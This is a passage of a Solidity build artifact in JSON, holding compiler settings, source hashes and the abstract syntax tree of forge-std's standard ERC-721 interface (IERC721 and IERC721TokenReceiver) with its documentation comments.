LOST"}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/interfaces/IERC721.sol":"IERC721"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/interfaces/IERC721.sol","id":32154,"exportedSymbols":{"IERC165":[31873],"IERC721":[32085],"IERC721Enumerable":[32153],"IERC721Metadata":[32125],"IERC721TokenReceiver":[32101]},"nodeType":"SourceUnit","src":"32:8994:18","nodes":[{"id":31971,"nodeType":"PragmaDirective","src":"32:24:18","nodes":[],"literals":["solidity",">=","0.6",".2"]},{"id":31972,"nodeType":"ImportDirective","src":"58:23:18","nodes":[],"absolutePath":"lib/forge-std/src/interfaces/IERC165.sol","file":"./IERC165.sol","nameLocation":"-1:-1:-1","scope":32154,"sourceUnit":31874,"symbolAliases":[],"unitAlias":""},{"id":32085,"nodeType":"ContractDefinition","src":"249:5535:18","nodes":[{"id":31984,"nodeType":"EventDefinition","src":"673:85:18","nodes":[],"anonymous":false,"documentation":{"id":31976,"nodeType":"StructuredDocumentation","src":"284:384:18","text":"@dev This emits when ownership of any NFT changes by any mechanism.\n This event emits when NFTs are created (`from` == 0) and destroyed\n (`to` == 0). Exception: during contract creation, any number of NFTs\n may be created and assigned without emitting Transfer. At the time of\n any transfer, the approved address for that NFT (if any) is reset to none."},"eventSelector":"ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","name":"Transfer","nameLocation":"679:8:18","parameters":{"id":31983,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31978,"indexed":true,"mutability":"mutable","name":"_from","nameLocation":"704:5:18","nodeType":"VariableDeclaration","scope":31984,"src":"688:21:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31977,"name":"address","nodeType":"ElementaryTypeName","src":"688:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31980,"indexed":true,"mutability":"mutable","name":"_to","nameLocation":"727:3:18","nodeType":"VariableDeclaration","scope":31984,"src":"711:19:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31979,"name":"address","nodeType":"ElementaryTypeName","src":"711:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31982,"indexed":true,"mutability":"mutable","name":"_tokenId","nameLocation":"748:8:18","nodeType":"VariableDeclaration","scope":31984,"src":"732:24:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31981,"name":"uint256","nodeType":"ElementaryTypeName","src":"732:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"687:70:18"}},{"id":31993,"nodeType":"EventDefinition","src":"1047:92:18","nodes":[],"anonymous":false,"documentation":{"id":31985,"nodeType":"StructuredDocumentation","src":"764:278:18","text":"@dev This emits when the approved address for an NFT is changed or\n reaffirmed. The zero address indicates there is no approved address.\n When a Transfer event emits, this also indicates that the approved\n address for that NFT (if any) is reset to none."},"eventSelector":"8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925","name":"Approval","nameLocation":"1053:8:18","parameters":{"id":31992,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31987,"indexed":true,"mutability":"mutable","name":"_owner","nameLocation":"1078:6:18","nodeType":"VariableDeclaration","scope":31993,"src":"1062:22:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31986,"name":"address","nodeType":"ElementaryTypeName","src":"1062:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31989,"indexed":true,"mutability":"mutable","name":"_approved","nameLocation":"1102:9:18","nodeType":"VariableDeclaration","scope":31993,"src":"1086:25:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31988,"name":"address","nodeType":"ElementaryTypeName","src":"1086:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31991,"indexed":true,"mutability":"mutable","name":"_tokenId","nameLocation":"1129:8:18","nodeType":"VariableDeclaration","scope":31993,"src":"1113:24:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31990,"name":"uint256","nodeType":"ElementaryTypeName","src":"1113:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1061:77:18"}},{"id":32002,"nodeType":"EventDefinition","src":"1278:88:18","nodes":[],"anonymous":false,"documentation":{"id":31994,"nodeType":"StructuredDocumentation","src":"1145:128:18","text":"@dev This emits when an operator is enabled or disabled for an owner.\n The operator can manage all NFTs of the owner."},"eventSelector":"17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31","name":"ApprovalForAll","nameLocation":"1284:14:18","parameters":{"id":32001,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31996,"indexed":true,"mutability":"mutable","name":"_owner","nameLocation":"1315:6:18","nodeType":"VariableDeclaration","scope":32002,"src":"1299:22:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31995,"name":"address","nodeType":"ElementaryTypeName","src":"1299:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31998,"indexed":true,"mutability":"mutable","name":"_operator","nameLocation":"1339:9:18","nodeType":"VariableDeclaration","scope":32002,"src":"1323:25:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31997,"name":"address","nodeType":"ElementaryTypeName","src":"1323:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32000,"indexed":false,"mutability":"mutable","name":"_approved","nameLocation":"1355:9:18","nodeType":"VariableDeclaration","scope":32002,"src":"1350:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31999,"name":"bool","nodeType":"ElementaryTypeName","src":"1350:4:18","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1298:67:18"}},{"id":32010,"nodeType":"FunctionDefinition","src":"1695:67:18","nodes":[],"documentation":{"id":32003,"nodeType":"StructuredDocumentation","src":"1372:318:18","text":"@notice Count all NFTs assigned to an owner\n @dev NFTs assigned to the zero address are considered invalid, and this\n function throws for queries about the zero address.\n @param _owner An address for whom to query the balance\n @return The number of NFTs owned by `_owner`, possibly zero"},"functionSelector":"70a08231","implemented":false,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"1704:9:18","parameters":{"id":32006,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32005,"mutability":"mutable","name":"_owner","nameLocation":"1722:6:18","nodeType":"VariableDeclaration","scope":32010,"src":"1714:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32004,"name":"address","nodeType":"ElementaryTypeName","src":"1714:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1713:16:18"},"returnParameters":{"id":32009,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32008,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32010,"src":"1753:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32007,"name":"uint256","nodeType":"ElementaryTypeName","src":"1753:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1752:9:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32018,"nodeType":"FunctionDefinition","src":"2019:67:18","nodes":[],"documentation":{"id":32011,"nodeType":"StructuredDocumentation","src":"1768:246:18","text":"@notice Find the owner of an NFT\n @dev NFTs assigned to zero address are considered invalid, and queries\n about them do throw.\n @param _tokenId The identifier for an NFT\n @return The address of the owner of the NFT"},"functionSelector":"6352211e","implemented":false,"kind":"function","modifiers":[],"name":"ownerOf","nameLocation":"2028:7:18","parameters":{"id":32014,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32013,"mutability":"mutable","name":"_tokenId","nameLocation":"2044:8:18","nodeType":"VariableDeclaration","scope":32018,"src":"2036:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32012,"name":"uint256","nodeType":"ElementaryTypeName","src":"2036:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2035:18:18"},"returnParameters":{"id":32017,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32016,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32018,"src":"2077:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32015,"name":"address","nodeType":"ElementaryTypeName","src":"2077:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2076:9:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32030,"nodeType":"FunctionDefinition","src":"2931:110:18","nodes":[],"documentation":{"id":32019,"nodeType":"StructuredDocumentation","src":"2092:834:18","text":"@notice Transfers the ownership of an NFT from one address to another address\n @dev Throws unless `msg.sender` is the current owner, an authorized\n operator, or the approved address for this NFT. Throws if `_from` is\n not the current owner. Throws if `_to` is the zero address. Throws if\n `_tokenId` is not a valid NFT. When transfer is complete, this function\n checks if `_to` is a smart contract (code size > 0). If so, it calls\n `onERC721Received` on `_to` and throws if the return value is not\n `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`.\n @param _from The current owner of the NFT\n @param _to The new owner\n @param _tokenId The NFT to transfer\n @param data Additional data with no specified format, sent in call to `_to`"},"functionSelector":"b88d4fde","implemented":false,"kind":"function","modifiers":[],"name":"safeTransferFrom","nameLocation":"2940:16:18","parameters":{"id":32028,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32021,"mutability":"mutable","name":"_from","nameLocation":"2965:5:18","nodeType":"VariableDeclaration","scope":32030,"src":"2957:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32020,"name":"address","nodeType":"ElementaryTypeName","src":"2957:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32023,"mutability":"mutable","name":"_to","nameLocation":"2980:3:18","nodeType":"VariableDeclaration","scope":32030,"src":"2972:11:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32022,"name":"address","nodeType":"ElementaryTypeName","src":"2972:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32025,"mutability":"mutable","name":"_tokenId","nameLocation":"2993:8:18","nodeType":"VariableDeclaration","scope":32030,"src":"2985:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32024,"name":"uint256","nodeType":"ElementaryTypeName","src":"2985:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32027,"mutability":"mutable","name":"data","nameLocation":"3018:4:18","nodeType":"VariableDeclaration","scope":32030,"src":"3003:19:18","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":32026,"name":"bytes","nodeType":"ElementaryTypeName","src":"3003:5:18","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"2956:67:18"},"returnParameters":{"id":32029,"nodeType":"ParameterList","parameters":[],"src":"3040:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32040,"nodeType":"FunctionDefinition","src":"3399:89:18","nodes":[],"documentation":{"id":32031,"nodeType":"StructuredDocumentation","src":"3047:347:18","text":"@notice Transfers the ownership of an NFT from one address to another address\n @dev This works identically to the other function with an extra data parameter,\n except this function just sets data to \"\".\n @param _from The current owner of the NFT\n @param _to The new owner\n @param _tokenId The NFT to transfer"},"functionSelector":"42842e0e","implemented":false,"kind":"function","modifiers":[],"name":"safeTransferFrom","nameLocation":"3408:16:18","parameters":{"id":32038,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32033,"mutability":"mutable","name":"_from","nameLocation":"3433:5:18","nodeType":"VariableDeclaration","scope":32040,"src":"3425:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32032,"name":"address","nodeType":"ElementaryTypeName","src":"3425:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32035,"mutability":"mutable","name":"_to","nameLocation":"3448:3:18","nodeType":"VariableDeclaration","scope":32040,"src":"3440:11:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32034,"name":"address","nodeType":"ElementaryTypeName","src":"3440:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32037,"mutability":"mutable","name":"_tokenId","nameLocation":"3461:8:18","nodeType":"VariableDeclaration","scope":32040,"src":"3453:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32036,"name":"uint256","nodeType":"ElementaryTypeName","src":"3453:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3424:46:18"},"returnParameters":{"id":32039,"nodeType":"ParameterList","parameters":[],"src":"3487:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32050,"nodeType":"FunctionDefinition","src":"4069:85:18","nodes":[],"documentation":{"id":32041,"nodeType":"StructuredDocumentation","src":"3494:570:18","text":"@notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE\n TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE\n THEY MAY BE PERMANENTLY LOST\n @dev Throws unless `msg.sender` is the current owner, an authorized\n operator, or the approved address for this NFT. Throws if `_from` is\n not the current owner. Throws if `_to` is the zero address. Throws if\n `_tokenId` is not a valid NFT.\n @param _from The current owner of the NFT\n @param _to The new owner\n @param _tokenId The NFT to transfer"},"functionSelector":"23b872dd","implemented":false,"kind":"function","modifiers":[],"name":"transferFrom","nameLocation":"4078:12:18","parameters":{"id":32048,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32043,"mutability":"mutable","name":"_from","nameLocation":"4099:5:18","nodeType":"VariableDeclaration","scope":32050,"src":"4091:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32042,"name":"address","nodeType":"ElementaryTypeName","src":"4091:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32045,"mutability":"mutable","name":"_to","nameLocation":"4114:3:18","nodeType":"VariableDeclaration","scope":32050,"src":"4106:11:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32044,"name":"address","nodeType":"ElementaryTypeName","src":"4106:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32047,"mutability":"mutable","name":"_tokenId","nameLocation":"4127:8:18","nodeType":"VariableDeclaration","scope":32050,"src":"4119:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32046,"name":"uint256","nodeType":"ElementaryTypeName","src":"4119:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4090:46:18"},"returnParameters":{"id":32049,"nodeType":"ParameterList","parameters":[],"src":"4153:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32058,"nodeType":"FunctionDefinition","src":"4514:71:18","nodes":[],"documentation":{"id":32051,"nodeType":"StructuredDocumentation","src":"4160:349:18","text":"@notice Change or reaffirm the approved address for an NFT\n @dev The zero address indicates there is no approved address.\n Throws unless `msg.sender` is the current NFT owner, or an authorized\n operator of the current owner.\n @param _approved The new approved NFT controller\n @param _tokenId The NFT to approve"},"functionSelector":"095ea7b3","implemented":false,"kind":"function","modifiers":[],"name":"approve","nameLocation":"4523:7:18","parameters":{"id":32056,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32053,"mutability":"mutable","name":"_approved","nameLocation":"4539:9:18","nodeType":"VariableDeclaration","scope":32058,"src":"4531:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32052,"name":"address","nodeType":"ElementaryTypeName","src":"4531:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32055,"mutability":"mutable","name":"_tokenId","nameLocation":"4558:8:18","nodeType":"VariableDeclaration","scope":32058,"src":"4550:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32054,"name":"uint256","nodeType":"ElementaryTypeName","src":"4550:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4530:37:18"},"returnParameters":{"id":32057,"nodeType":"ParameterList","parameters":[],"src":"4584:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32066,"nodeType":"FunctionDefinition","src":"4978:71:18","nodes":[],"documentation":{"id":32059,"nodeType":"StructuredDocumentation","src":"4591:382:18","text":"@notice Enable or disable approval for a third party (\"operator\") to manage\n all of `msg.sender`'s assets\n @dev Emits the ApprovalForAll event. The contract MUST allow\n multiple operators per owner.\n @param _operator Address to add to the set of authorized operators\n @param _approved True if the operator is approved, false to revoke approval"},"functionSelector":"a22cb465","implemented":false,"kind":"function","modifiers":[],"name":"setApprovalForAll","nameLocation":"4987:17:18","parameters":{"id":32064,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32061,"mutability":"mutable","name":"_operator","nameLocation":"5013:9:18","nodeType":"VariableDeclaration","scope":32066,"src":"5005:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32060,"name":"address","nodeType":"ElementaryTypeName","src":"5005:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32063,"mutability":"mutable","name":"_approved","nameLocation":"5029:9:18","nodeType":"VariableDeclaration","scope":32066,"src":"5024:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32062,"name":"bool","nodeType":"ElementaryTypeName","src":"5024:4:18","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5004:35:18"},"returnParameters":{"id":32065,"nodeType":"ParameterList","parameters":[],"src":"5048:0:18"},"scope":32085,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":32074,"nodeType":"FunctionDefinition","src":"5320:71:18","nodes":[],"documentation":{"id":32067,"nodeType":"StructuredDocumentation","src":"5055:260:18","text":"@notice Get the approved address for a single NFT\n @dev Throws if `_tokenId` is not a valid NFT.\n @param _tokenId The NFT to find the approved address for\n @return The approved address for this NFT, or the zero address if there is none"},"functionSelector":"081812fc","implemented":false,"kind":"function","modifiers":[],"name":"getApproved","nameLocation":"5329:11:18","parameters":{"id":32070,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32069,"mutability":"mutable","name":"_tokenId","nameLocation":"5349:8:18","nodeType":"VariableDeclaration","scope":32074,"src":"5341:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32068,"name":"uint256","nodeType":"ElementaryTypeName","src":"5341:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5340:18:18"},"returnParameters":{"id":32073,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32072,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32074,"src":"5382:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32071,"name":"address","nodeType":"ElementaryTypeName","src":"5382:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5381:9:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32084,"nodeType":"FunctionDefinition","src":"5692:90:18","nodes":[],"documentation":{"id":32075,"nodeType":"StructuredDocumentation","src":"5397:290:18","text":"@notice Query if an address is an authorized operator for another address\n @param _owner The address that owns the NFTs\n @param _operator The address that acts on behalf of the owner\n @return True if `_operator` is an approved operator for `_owner`, false otherwise"},"functionSelector":"e985e9c5","implemented":false,"kind":"function","modifiers":[],"name":"isApprovedForAll","nameLocation":"5701:16:18","parameters":{"id":32080,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32077,"mutability":"mutable","name":"_owner","nameLocation":"5726:6:18","nodeType":"VariableDeclaration","scope":32084,"src":"5718:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32076,"name":"address","nodeType":"ElementaryTypeName","src":"5718:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32079,"mutability":"mutable","name":"_operator","nameLocation":"5742:9:18","nodeType":"VariableDeclaration","scope":32084,"src":"5734:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32078,"name":"address","nodeType":"ElementaryTypeName","src":"5734:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5717:35:18"},"returnParameters":{"id":32083,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32082,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32084,"src":"5776:4:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32081,"name":"bool","nodeType":"ElementaryTypeName","src":"5776:4:18","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5775:6:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":31974,"name":"IERC165","nameLocations":["270:7:18"],"nodeType":"IdentifierPath","referencedDeclaration":31873,"src":"270:7:18"},"id":31975,"nodeType":"InheritanceSpecifier","src":"270:7:18"}],"canonicalName":"IERC721","contractDependencies":[],"contractKind":"interface","documentation":{"id":31973,"nodeType":"StructuredDocumentation","src":"83:166:18","text":"@title ERC-721 Non-Fungible Token Standard\n @dev See https://eips.ethereum.org/EIPS/eip-721\n Note: the ERC-165 identifier for this interface is 0x80ac58cd."},"fullyImplemented":false,"linearizedBaseContracts":[32085,31873],"name":"IERC721","nameLocation":"259:7:18","scope":32154,"usedErrors":[],"usedEvents":[31984,31993,32002]},{"id":32101,"nodeType":"ContractDefinition","src":"5858:942:18","nodes":[{"id":32100,"nodeType":"FunctionDefinition","src":"6656:142:18","nodes":[],"documentation":{"id":32087,"nodeType":"StructuredDocumentation","src":"5895:756:18","text":"@notice Handle the receipt of an NFT\n @dev The ERC721 smart contract calls this function on the recipient\n after a `transfer`. This function MAY throw to revert and reject the\n transfer. Return of other than the magic value MUST result in the\n transaction being reverted.\n Note: the contract address is always the message sender.\n @param _operator The address which called `safeTransferFrom` function\n @param _from The address which previously owned the token\n @param _tokenId The NFT identifier which is being transferred\n @param _data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`\n unless throwing"},"functionSelector":"150b7a02","implemented":false,"kind":"function","modifiers":[],"name":"onERC721Received","nameLocation":"6665:16:18","parameters":{"id":32096,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32089,"mutability":"mutable","name":"_operator","nameLocation":"6690:9:18","nodeType":"VariableDeclaration","scope":32100,"src":"6682:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32088,"name":"address","nodeType":"ElementaryTypeName","src":"6682:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32091,"mutability":"mutable","name":"_from","nameLocation":"6709:5:18","nodeType":"VariableDeclaration","scope":32100,"src":"6701:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32090,"name":"address","nodeType":"ElementaryTypeName","src":"6701:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32093,"mutability":"mutable","name":"_tokenId","nameLocation":"6724:8:18","nodeType":"VariableDeclaration","scope":32100,"src":"6716:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32092,"name":"uint256","nodeType":"ElementaryTypeName","src":"6716:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32095,"mutability":"mutable","name":"_data","nameLocation":"6749:5:18","nodeType":"VariableDeclaration","scope":32100,"src":"6734:20:18","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":32094,"name":"bytes","nodeType":"ElementaryTypeName","src":"6734:5:18","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6681:74:18"},"returnParameters":{"id":32099,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32098,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32100,"src":"6790:6:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":32097,"name":"bytes4","nodeType":"ElementaryTypeName","src":"6790:6:18","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"6789:8:18"},"scope":32101,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IERC721TokenReceiver","contractDependencies":[],"contractKind":"interface","documentation":{"id":32086,"nodeType":"StructuredDocumentation","src":"5786:72:18","text":"@dev Note: the ERC-165 identifier for this interface is 